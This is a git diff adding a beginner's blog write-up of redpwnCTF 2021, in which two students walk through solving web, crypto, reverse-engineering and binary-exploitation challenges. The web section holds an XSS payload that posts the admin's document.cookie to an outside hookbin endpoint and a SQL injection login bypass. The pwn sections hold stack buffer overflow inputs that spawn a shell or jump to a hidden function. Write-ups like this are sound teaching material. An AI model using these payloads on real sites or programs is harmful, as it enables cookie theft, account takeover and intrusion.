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diff --git a/_items/redpwn2021.md b/_items/redpwn2021.md new file mode 100644 index 0000000..df9da29 --- /dev/null +++ b/_items/redpwn2021.md @@ -0,0 +1,778 @@ +--- +title: redpwnCTF 2021 +subtitle: A noob's perspective +tags: + - hacking + - CTF + - writeup +cover: /img/redpwn2021.png +--- + +This is the first 'real' CTF I've participated in. About two weeks ago, a +friend of mine was stuck on some challenges from the Radboud CTF. This was a +closed CTF more geared towards beginners (high school students), and only had a +few challenges which required deeper technical knowledge of web servers and +programming. Willem solved most of the challenges, and I helped solve 3 more. + +Apart from those challenges, basically all my hacking knowledge comes from +computerphile videos, liveoverflow videos and making applications myself. + +> epic announcement!!! +> +> Willem has added explanations of the challenges he solved, so go read them! + +## Challenges + +### web/pastebin-1 + +This challenge is a simple XSS exploit. The website that's vulnerable is +supposed to be a clone of pastebin. I can enter any text into the paste area, +and it will get inserted as HTML code into the website when someone visits the +generated link. + +The challenge has two sites: one with the pastebin clone, and one that visits +any pastebin url as the website administrator. The goal of this challenge is +given by it's description: + +> Ah, the classic pastebin. Can you get the admin's cookies? + +In JS, you can read all cookies without the `HttpOnly` attribute by reading +`document.cookie`. This allows us to read the cookies from the admin's browser, +but now we have to figure out a way to get them sent back to us. + +Luckily, there's a free service called [hookbin](https://hookbin.com/) that +gives you an http endpoint to send anything to, and look at the request +details. + +Combining these two a simple paste can be created: + +```html +<script> + var post = new XMLHttpRequest(); + post.open("post", "https://hookb.in/<endpoint url>"); + post.send(document.cookie); +</script> +``` + +### crypto/scissor + +I wasn't planning on including this one, but it makes use of the excellent +[CyberChef](https://gchq.github.io/CyberChef/) tool. The flag is given in the +challenge description, and is encrypted using a ceasar/rot13 cipher. A simple +python implementation of this cipher is included with the challenge, but I just +put it into CyberChef and started trying different offsets. + +### rev/wstrings + +> Some strings are wider than normal... + +This challenge has a binary that uses a simple `strcmp` to check the flag. When +running the program, the following output is visible: + +```sh +# ./wstrings +Welcome to flag checker 1.0. +Give me a flag> +``` + +My first stategy was running the `strings` utility on the `wstrings` binary, +but I didn't find the flag. What was interesting to me though was that I also +couldn't find the prompt text... This immediately made me check for other +string encodings. + +Running the `strings` utility with the `-eL` flag tells `strings` to look for +32-bit little-endian encoded strings, and lo and behold the flag shows up! + +This is because ascii strings are less 'wide' than 32-bit strings: + +``` + --- ascii --- + +hex -> 0x68 0x65 0x6c 0x6c 0x6f +str -> h e l l o +``` + +Notice how each character is represented by a single byte each (8 bits) in +ascii, as opposed to 32-bit characters in 32-bit land. + +``` + --- 32-bit land --- + +hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f +str -> h e l l o +``` + +I think 32-bit strings also have practical use for things like non-English +texts such as Hebrew, Chinese or Japanese. Those characters take up more space +anyways, and you would waste less space by not using unicode escape characters. + +### web/secure + +> Just learned about encryptionโnow, my website is unhackable! + +This challenge is pretty simple if you know some of JS's quirks. Right at the +top of the file is an sqlite3 expression in JS: + +```js +//////// +db.exec(`INSERT INTO users (username, password) VALUES ( + '${btoa('admin')}', + '${btoa(crypto.randomUUID)}' +)`); +``` + +This section of code immediately jumped out to me because I noticed that +`crypto.randomUUID` wasn't actually being called. + +Because the 'random uuid' is being fed into `btoa()` it becomes a base64 +encoded string. However, `btoa()` also expects a string as input. Because every +object in JS has a `.toString()` method, when you pass it into a function +expecting another type, JS will happily convert it for you without warning. + +This means that the admin's password will always be a base64-encoded version of +`crypto.randomUUID`'s source code. We can get that base64-encoded source code +by running the following in a NodeJS REPL: + +```js +// import file system and crypto modules +var writeFileSync = require('fs').writeFileSync; +var crypto = require('crypto'); + +// write source to file +writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8'); +``` + +I made a simple shell script that calls cURL with the base64-encoded +parameters, and decodes the url-encoded flag afterwards: + +```sh +#!/bin/sh + +# https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell +function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; } + +urldecode $(curl -sX POST \ + -d "username=$(printf 'admin' | base64)" \ + -d "password=$(cat ./randomUUID.js)" \ + https://secure.mc.ax/login) +``` + +### crypto/baby + +> I want to do an RSA! + +This challenge is breaking RSA. It only works because the `n` parameter is +really small. + +Googling for 'rsa decrypt n e c' yields +[this](https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c) +stackoverflow result, which links to +[dcode.fr](https://www.dcode.fr/rsa-cipher). The only thing left to do is +calculate `p` and `q`, which can be done using [wolfram +alpha](https://wolframalpha.com/). + +### pwn/beginner-generic-pwn-number-0 + +> rob keeps making me write beginner pwn! i'll show him... +> +> `nc mc.ax 31199` + +This was my first interaction with `gdb`. It was.. painful. After begging for +help in the redpwnCTF discord server about another waaaay harder challenge, an +organizer named asphyxia pointed me towards [gef](https://github.com/hugsy/gef) +which single-handedly saved my sanity during the binary exploitation +challenges. + +The first thing I did was use [iaito](https://github.com/radareorg/iaito) to +look at a disassembly graph of the binary. Iaito is a graphical front-end to +the radare2 reverse engineering framework, and I didn't feel like learning two +things at the same time, so that's why I used it. While it's very +user-friendly, I didn't look into reverse engineering tools very much, and +didn't realise that iaito is still in development. Let's just say I ran into +some issues with project saving so I took lots of unnecessary repeated steps. + +After trying to make sense of assembly code after just seeing it for the first +time, I instead decided looking at the source code would be a better idea since +I actually know c. + +```c +#include <stdio.h> +#include <string.h> +#include <stdlib.h> + +const char *inspirational_messages[] = { + "\"๐ญ๐ฆ๐ต๐ด ๐ฃ๐ณ๐ฆ๐ข๐ฌ ๐ต๐ฉ๐ฆ ๐ต๐ณ๐ข๐ฅ๐ช๐ต๐ช๐ฐ๐ฏ ๐ฐ๐ง ๐ญ๐ข๐ด๐ต ๐ฎ๐ช๐ฏ๐ถ๐ต๐ฆ ๐ค๐ฉ๐ข๐ญ๐ญ ๐ธ๐ณ๐ช๐ต๐ช๐ฏ๐จ\"", + "\"๐ฑ๐ญ๐ฆ๐ข๐ด๐ฆ ๐ธ๐ณ๐ช๐ต๐ฆ ๐ข ๐ฑ๐ธ๐ฏ ๐ด๐ฐ๐ฎ๐ฆ๐ต๐ช๐ฎ๐ฆ ๐ต๐ฉ๐ช๐ด ๐ธ๐ฆ๐ฆ๐ฌ\"", + "\"๐ฎ๐ฐ๐ณ๐ฆ ๐ต๐ฉ๐ข๐ฏ 1 ๐ธ๐ฆ๐ฆ๐ฌ ๐ฃ๐ฆ๐ง๐ฐ๐ณ๐ฆ ๐ต๐ฉ๐ฆ ๐ค๐ฐ๐ฎ๐ฑ๐ฆ๐ต๐ช๐ต๐ช๐ฐ๐ฏ\"", +}; + +int main(void) +{ + srand(time(0)); + long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *)); + char heartfelt_message[32]; + + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + + puts(inspirational_messages[inspirational_message_index]); + puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"); + puts("can you write me a heartfelt message to cheer me up? :("); + + gets(heartfelt_message); + + if(inspirational_message_index == -1) { + system("/bin/sh"); + } +} +``` + +After looking at this source things became a lot clearer, because the only +input you can actually control is received from `gets(...);` + +Now comes the hard part: doing it, but in assembly! + +Some resources you should consume before attempting binary exploitation would +be [computerphile's video on buffer +overflows](https://www.youtube.com/watch?v=1S0aBV-Waeo) and +[cheat.sh/gdb](https://cheat.sh/gdb) for some basic gdb commands. The rest of +this section assumes you know the basics of both buffer overflows and gdb. + +First, let's print a disassembly of the `int main()` function: + +``` +(gdb) disas main +Dump of assembler code for function main: + 0x000000000040127c <+134>: call 0x4010a0 <puts@plt> + 0x0000000000401281 <+139>: lea rdi,[rip+0xec8] # 0x402150 + 0x0000000000401288 <+146>: call 0x4010a0 <puts@plt> + 0x000000000040128d <+151>: lea rdi,[rip+0xf1c] # 0x4021b0 + 0x0000000000401294 <+158>: call 0x4010a0 <puts@plt> + 0x0000000000401299 <+163>: lea rax,[rbp-0x30] + 0x000000000040129d <+167>: mov rdi,rax + 0x00000000004012a0 <+170>: call 0x4010f0 <gets@plt> + 0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff + 0x00000000004012aa <+180>: jne 0x4012b8 <main+194> + 0x00000000004012ac <+182>: lea rdi,[rip+0xf35] # 0x4021e8 + 0x00000000004012b3 <+189>: call 0x4010c0 <system@plt> + 0x00000000004012b8 <+194>: mov eax,0x0 + 0x00000000004012bd <+199>: leave + 0x00000000004012be <+200>: ret +End of assembler dump. +``` + +This isn't the full output from gdb, but only the last few lines. A few things +should immediately stand out: the 3 `<puts@plt>` calls, and right after the +call to `<gets@plt>`. These are the assembly equivalent of: + +```c +puts(inspirational_messages[inspirational_message_index]); +puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"); +puts("can you write me a heartfelt message to cheer me up? :("); + +gets(heartfelt_message); +``` + +Since I didn't see any reference to a flag file being read, I assumed that the +`system("/bin/sh")` call is our main target, so let's see if we can find that +in our assembly code. There's a call to `<system@plt>` at `<main+189>`, and +there's other weird `cmp`, `jne` and `lea` instructions before. Let's figure +out what those do! + +After some stackoverflow soul searching, I found out that the `cmp` and `jne` +are assembly instructions for compare, and jump-if-not-equal. They work like +this: + +```asm6502 +; cmp compares what's in the $rbp register to 0xffffffffffffffff +; and turns on the ZERO flag if they're equal + 0x004012a5 <+0>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff + +; jne checks if the ZERO flag is on, +; and if it is it jumps (in this case) to 0x4012b8 +โ--0x004012aa <+1>: jne 0x4012b8 <main+194> +โ; we can safely ignore the `lea` instruction as it doesn't impact our pwn +โ 0x004012ac <+2>: lea rdi,[rip+0xf35] # 0x4021e8 +โ +โ; the almighty syscall +โ 0x004012b3 <+3>: call 0x4010c0 <system@plt> +โ +โ; from here on the program exits without calling /bin/sh +โ->0x004012b8 <+4>: mov eax,0x0 + 0x004012bd <+5>: leave + 0x004012be <+6>: ret +``` + +The program checks if there's `0xffffffffffffffff` in memory `0x8` bytes before +the `$rbp` register. The program allocates 32 bytes of memory for our heartfelt +message, but it continues reading even if our heartfelt message is longer than +32 bytes. Let's see if we can overwrite that register >:) + +Let's set a breakpoint after the `<gets@plt>` call in gdb, and run the program +with 40 bytes of `0x61` ('a') + +``` +(gdb) break *0x00000000004012a5 +Breakpoint 1 at 0x4012a5 + +(gdb) run < <(python3 -c "print('a' * 40)") +``` + +I'm using the `run` command with `<` and `<()` to pipe the output of python +into the program's `stdin`. It's unnecessary at this stage because there's an +'a' key on my keyboard, but if we were to send raw bytes, this would make it a +lot easier. + +I'm also using [gef](https://github.com/hugsy/gef) so I get access to a command +called `context` which prints all sorts of information about registers, the +stack and a small disassembly window. I won't show it's output here, but it +was an indispensable tool that you should install nonetheless. + +Let's print the memory at `[$rbp - 0x8]`: + +``` +(gdb) x/8gx $rbp - 0x8 +0x7fffffffd758: 0x0000000000000000 0x0000000000000000 +0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858 +0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 +0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 +``` + +Hmmm, no overwriteage yet. Let's try 56 bytes instead: + +``` +(gdb) run < <(python3 -c "print('a' * 56)") +(gdb) x/8gx $rbp - 0x8 +0x7fffffffd758: 0x6161616161616161 0x6161616161616161 +0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858 +0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 +0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 +(gdb) x/1gx $rbp - 0x8 +0x7fffffffd758: 0x6161616161616161 +``` + +Jackpot! We've overwritten 16 bytes of the address that the `cmp` instruction +reads. Let's try setting it to `0xff` instead, so we get a shell. Python 3 is +not that great for binary exploitation, so the code for this is a little bit +ugly, but if it works, it works! + +``` +(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)") +(gdb) x/1gx $rbp - 0x8 +0x7fffffffd758: 0xffffffffffffffff +``` + +Now let's let execution continue as normal by using the `continue` command: + +``` +(gdb) continue +Continuing. +[Detaching after vfork from child process 22950] +[Inferior 1 (process 22947) exited normally] +``` + +This might seem underwhelming, but our explit works! A child process was +spawned, and as a bonus, we didn't get any segmentation faults! The reason we +don't get an interactive shell is because we used python to pipe input into the +program which makes it non-interactive. + +At this point I was about 12 hours in of straight gdb hell, and I was very +happy to see this shell. After discovering this, I immediately tried it outside +the debugger and was dissapointed to see that my exploit didn't work. After a +small panick attack I found out this was because of my environment variables. +You can launch an environment-less shell by using the `env -i sh` command: + +``` +ฮป generic โ ฮป git master* โ env -i sh +sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0 +"๐ญ๐ฆ๐ต๐ด ๐ฃ๐ณ๐ฆ๐ข๐ฌ ๐ต๐ฉ๐ฆ ๐ต๐ณ๐ข๐ฅ๐ช๐ต๐ช๐ฐ๐ฏ ๐ฐ๐ง ๐ญ๐ข๐ด๐ต ๐ฎ๐ช๐ฏ๐ถ๐ต๐ฆ ๐ค๐ฉ๐ข๐ญ๐ญ ๐ธ๐ณ๐ช๐ต๐ช๐ฏ๐จ" +rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self! +can you write me a heartfelt message to cheer me up? :( +sh-5.1$ # another shell :tada: +``` + +Now it was time to actually do the exploit on the remote server. + +I whipped up the most disgusting and janky python code that I won't go into +detail about, but here's what is does (in short): + +1. Create a thread to capture data from the server and forward it to `stdout` +2. Capture user commands using `input()` and decide what to do with them on the main thread + +The code for this script can be found +[here](https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py), +though be warned, it's _very_ janky and you're probably better off copying +stuff from stackoverflow. Writing your own tools is more fun though, and might +also be faster than trying to wrestle with existing tools to try to get them to +do exactly what you want them to do. In this case I could've also just used [a +simple +command](https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&lq=1). + +It did help me though and I actually had to copy it for use in the other buffer +overflow challenge that I solved, so I'll probably refactor it someday for use +in other CTFs. + +### crypto/round-the-bases + +This crypto challenge uses a text file with some hidden information. If you +open up the file in a text editor, and adjust your window width, you'll +eventually see the repeating pattern line up. This makes it very easy to see +what part of the pattern is actually changing: + +``` +----------------------xxxx---- +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:K0o09mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN +``` + +I wrote a simple python script to parse this into binary data, and it worked on +the first try: + +```py +# read the file into a string +file = open("./round-the-bases") +content = file.read() +file.close() + +# split on every 30th character into a list +n = 30 +arr = [ content[i : i + n] for i in range(0, len(content), n) ] + +bin = [] +for line in arr: + sub = line[16:20] # the part that changes + if sub == 'IIcu': # IIcu -> 0x0 + bin.append('0') + else: # K0o0 -> 0x1 + bin.append('1') + +bin = ''.join(bin) # join all the list indices together into a string + +# decode the binary string into ascii characters +for i in range(0, len(bin), 8): + print(chr(int(bin[i:i+8], 2)), end='') + +# newline for good measure +print("\n", end='') +``` + +### pwn/ret2generic-flag-reader + +This was the second binary exploitation challenge I tackled, and it went much +better than the first because I (sort of) knew what I was doing by now. + +I figured the 'ret2' part of the title challenge was short for 'return to', and +my suspicion was confirmed after looking at the c source: + +```c +#include <stdio.h> +#include <string.h> +#include <stdlib.h> + +void super_generic_flag_reading_function_please_ret_to_me() +{ + char flag[0x100] = {0}; + FILE *fp = fopen("./flag.txt", "r"); + if (!fp) + { + puts("no flag!! contact a member of rob inc"); + exit(-1); + } + fgets(flag, 0xff, fp); + puts(flag); + fclose(fp); +} + +int main(void) +{ + char comments_and_concerns[32]; + + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + + puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable..."); + puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!"); + puts("slap on some flavortext and there's no way rob will fire me now!"); + puts("this is genius!! what do you think?"); + + gets(comments_and_concerns); +} + +``` + +With my newfound knowledge of binary exploitation, I figured I would have to +overwrite the return pointer on the stack somehow, so the program calls the +`super_generic_flag_reading_function_please_ret_to_me` function that isn't +called at all in the original. + +The only input we have control over is again a call to `gets();` + +Let's look at the disassembly in gdb: + +``` +(gdb) disas main +Dump of assembler code for function main: + 0x00000000004013f4 <+79>: call 0x4010a0 <puts@plt> + 0x00000000004013f9 <+84>: lea rdi,[rip+0xca0] # 0x4020a0 + 0x0000000000401400 <+91>: call 0x4010a0 <puts@plt> + 0x0000000000401405 <+96>: lea rdi,[rip+0xd0c] # 0x402118 + 0x000000000040140c <+103>: call 0x4010a0 <puts@plt> + 0x0000000000401411 <+108>: lea rdi,[rip+0xd48] # 0x402160 + 0x0000000000401418 <+115>: call 0x4010a0 <puts@plt> + 0x000000000040141d <+120>: lea rax,[rbp-0x20] + 0x0000000000401421 <+124>: mov rdi,rax + 0x0000000000401424 <+127>: call 0x4010e0 <gets@plt> + 0x0000000000401429 <+132>: mov eax,0x0 + 0x000000000040142e <+137>: leave + 0x000000000040142f <+138>: ret +End of assembler dump. +``` + +We see again multiple calls to `<puts@plt>` and right after a call to +`<gets@plt>`. There is no `cmp` and `jne` to be found in this challenge though. + +The goal is to overwrite the _return address_. This is a memory address also +stored in memory, and the program will move execution to that memory address +once it sees a `ret` instruction. In this 'vanilla' state, the return address +always goes to the assembly equivalent of an `exit()` function. Let's see if we +can overwrite it by giving too much input: + +``` +(gdb) break *0x000000000040142f +Breakpoint 1 at 0x40142f +(gdb) run < <(python3 -c "print('a' * 56)") +-- Breakpoint 1 hit -- +(gdb) info registers +rax 0x0 0x0 +rbx 0x401430 0x401430 +rsi 0x7ffff7f7d883 0x7ffff7f7d883 +rdi 0x7ffff7f804e0 0x7ffff7f804e0 +rbp 0x6161616161616161 0x6161616161616161 +rsp 0x7fffffffd898 0x7fffffffd898 +rip 0x40142f 0x40142f <main+138> +``` + +As you can see, the $rbp register is completely overwritten with `0x61`'s. +Let's check the $rsp register to see where the `main()` function tries to go +after `ret`: + +``` +(gdb) run +Starting program: ret2generic-flag-reader +alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... +how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! +slap on some flavortext and there's no way rob will fire me now! +this is genius!! what do you think? +a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 +-- Breakpoint 1 hit -- +(gdb) x/1gx $rsp +0x7fffffffd898: 0x3363326331633063 +``` + +Let's use CyberChef to see what `0x3363326331633063` is in ascii! + + + +Hmm, it's backwards. Let's reverse it! + + + +Let's find the address of the super generic flag reading function with gdb. + +``` +(gdb) print super_generic_flag_reading_function_please_ret_to_me +$2 = {<text variable, no debug info>} 0x4011f6 <super_generic_flag_reading_function_please_ret_to_me> +``` + +Now we're ready to craft a string that exploits the program and runs the secret +function! + +``` +a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 <- original + c0c1c2c3 <- ends up in $rsp +aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <- padding ( 0x28 * 'a' ) + + c 0 c 1 c 2 c 3 <- ends up in $rsp + 3 c 2 c 1 c 0 c <- reverse +0x3363326331633063 <- reverse (hex) +0x00000000004011f6 <- pointer we want in $rsp + f611400000000000 <- reverse + \xf6\x11\x40\x00\x00\x00\x00\x00 <- python bytestring + +exploit string: +b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00' +``` + +Now let's try it in an environment-less shell: + +``` +python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader +alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... +how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! +slap on some flavortext and there's no way rob will fire me now! +this is genius!! what do you think? +flag{this_is_a_dummy_flag_go_solve_it_yourself} + +Segmentation fault (core dumped) +sh-5.1$ +``` + +### rev/bread-making + +For this challenge, I first tried using iaito again to do some program flow +analysis. After giving up on that, I decided to instead brute-force the correct +steps by hand. This was a very long and boring process. + +First I used `strings` again to extract all the dialogue and user input strings +from the binary. Then I filtered them to not include obvious dialogue, but only +the possible user input strings. And this is the correct path that gives the +flag: + +``` +add flour +add salt +add yeast +add water +hide the bowl inside a box +wait 3 hours +work in the basement +preheat the toaster oven +set a timer on your phone +watch the bread bake +pull the tray out with a towel +open the window +unplug the oven +unplug the fire alarm +wash the sink +clean the counters +flush the bread down the toilet +get ready to sleep +close the window +replace the fire alarm +brush teeth and go to bed +``` + +In hindsight I could've probably made a simple python script to brute force all +remaining possibilities until it got longer output from the program, but +laziness took over and I decided that spending 45 minutes doing very dull work +was more worth it instead. + +## Willem's part in the CTF + +Hi, Willem here. + +In this part I will talk about my experience during the CTF and The +collaboration between me and Loek. + +### web/orm-bad + +This was also my first CTF, just like Loek, because of this was quite uncertain +about my skill level. For example, I have no experience using Linux systems, +but from what I learned before the CTF it is quite essential. My fear of not +being able to do any of the challenges disappeared quickly after we had +completed the beginner challenges. With a simple sql injection I got my first +real flag: + +``` +username: admin';-- +password: +flag{this_is_a_dummy_flag_go_solve_it_yourself} +``` + +We had planned to use github's projects to track progress on challenges, but +when you're actually doing a challenge it's the last thing you think about. +So, we didn't really know who was doing which challenge, but because we're a +team of two this wasn't a big problem. + +The most challenge were a bit to hard for me. Some I would get pretty far, but +needed Loek's help to solve it. Others I didn't even attempt to begin on. + +### misc/the-substitution-game + +One challenge I spend a lot of time on was __The substitution game__. In the +substitution game you had to substitute certain parts of the input string to +get the desired output string. I got to level for of 6. Level 1 and 2 to were +really simple, but at level 3 you started to need to really understand the +game. + +``` +level 3: +initial: aaaaaaaaaaaaaa (the amount of a's varied) +target: a +``` + +The solution is really simple, but it's pretty hard to get to it. You want to +remove 'a's so I started with `a => `, this turn all 'a's to None and left you +with an empty string. The problem is you can't substitute anything in an empty +string. The solution was `aa => a`, this removed an 'a' every time the initial +string got checked. To get this solution you had to realize, that the program +would always substitute the first instance it would come across, and the +program was set to do way more than needed substitutions. This would come handy +in the next level. + +``` +level 4: +initial: ggggggggggg (the amount of g's varied) +target: ginkoid +``` + +After completing level 3 this level looks very easy, just substitute the g's +like before `gg => g` and turn the last g into ginkoid `g => ginkoid` , but +this didn't work because of the way the program worked, after getting to a +valid solution I didn't stop and the single g in ginkoid would also change to +ginkoid. You would get infinite ginkoid. The solution was: + +``` +gg => ginkoid; ginkoidginkoid => ginkoid; ginkoidg => ginkoid +``` + +I began with noticing you couldn't just change the g, because that would also +change the g in ginkoid. so double gg becomes ginkoid. We have to use the same +trick as in level 3 to gain only one ginkoid `ginkoidginkoid => ginkoid` +because of the way we changed the single g's to ginkoid it would only work with +an even amount of g's. In the case there was an uneven amount of g's we would +be left with ginkoidg, so we remove it `ginkoidg => ginkoid`. + +I found this challenge really enjoyable and during this challenge I noticed +that I most enjoy the puzzle aspect of computer science, puzzling for hours to +fix a bug and then finally finding a solution. + +I didn't complete many challenges and wasn't really able to help Loek, but I +really enjoyed the CTF. It's a really fun way to test your skills and +knowledge. In the end I'm really happy with the score we (mostly Loek) got and +I think Iโll take part in other CTFs in the future. + +## Epilogue + +Of the 47 total challenges, me and Willem only solved 15. My end goal for this +CTF wasn't winning to begin with, so the outcome didn't matter for me. After +the second day I set the goal of reaching the 3rd page of the leaderboards as +my goal, and we reached 277'th place in the end which made my mom very proud! + + + +I enjoyed the CTF a lot! There were some very frustrating challenges, and I +still don't get how people solved web/wtjs, but that's fine. I did learn how to +use GDB and a lot of other things during the CTF which were all very rewarding. +I will definitely be participating in the 2022 redpwnCTF, and maybe even some +others if they're beginner friendly :) + +During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe +host one myself, though I have no clue where to start with that. Maybe keep an +eye out for that ;) + |